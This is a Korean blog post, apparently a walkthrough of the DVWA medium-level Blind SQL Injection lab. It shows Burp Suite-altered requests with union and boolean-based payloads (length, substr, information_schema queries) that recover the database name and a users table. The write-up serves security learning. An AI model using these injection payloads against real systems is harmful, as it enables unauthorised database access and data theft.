Blind SQL Injection도 마찬가지로 low레벨에서랑 다르게 직접 입력하는게 아니라 선택하는 걸로 바뀌어있다.
과정 자체는 low 레벨에서 했던 것과 동일하다.
직접 입력할 수 없으니 burp suite로 요청을 변조해서 같은 명령어를 보내기만 하면 된다.
오히려 low레벨에서는 '로 정확한 구문을 예상해서 공격문을 만들어야 했는데
이건 그냥 burp suite에서 바꿔주면 되서 더 쉬운거 같기도 하다.
아무튼 먼저 column 개수부터 알아보겠다.
id=1 union select 1,2#
이렇게 요청을 변조해서 보내면 참이 반환되고 column 개수가 2개인 것을 알아낼 수 있다.
이제 데이터베이스 이름을 알아낼 것이다.
id=1 and length(database())=4#
먼저 이름의 길이를 알기 위해서 length함수를 사용하였다.
length=4일때 참이 반환되기 때문에 데이터베이스 이름이 4글자라는 것을 알아냈다.
id=1 and substr(database(),1,1)='d'#
이제 데이터베이스 이름을 한글자씩 substr 함수로 가져와서 비교하면서 참이 반환될 때를 찾았다.
데이터베이스 이름이 dvwa인 것을 알아냈다.
id=1 and length((select table_name FROM information_schema.tables WHERE table_schema = 'dvwa' limit 1,1))=5#
그 다음은 테이블의 이름을 알아내기 위해 먼저 테이블의 길이를 조사하였다.
길이가 5일 때 참이 반환되었다.
id=1 and substr((select table_name FROM information_schema.tables WHERE table_schema = 'dvwa' limit 1,1), 1, 1)='u'#
마지막으로 테이블의 이름을 한글자씩 비교하면서 알아보았다.
5글자짜리 테이블 이름은 users인 것을 알아내었다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA XSS(DOM)(medium) 롸업 (0) | 2023.11.16 |
---|---|
DVWA Weak Session IDs(medium)롸업 (0) | 2023.11.16 |
DVWA SQL Injection(medium) 롸업 (0) | 2023.11.15 |
DVWA Insecure CAPTCHA(medium) 롸업 (0) | 2023.11.14 |
DVWA File Upload(medium) (0) | 2023.11.14 |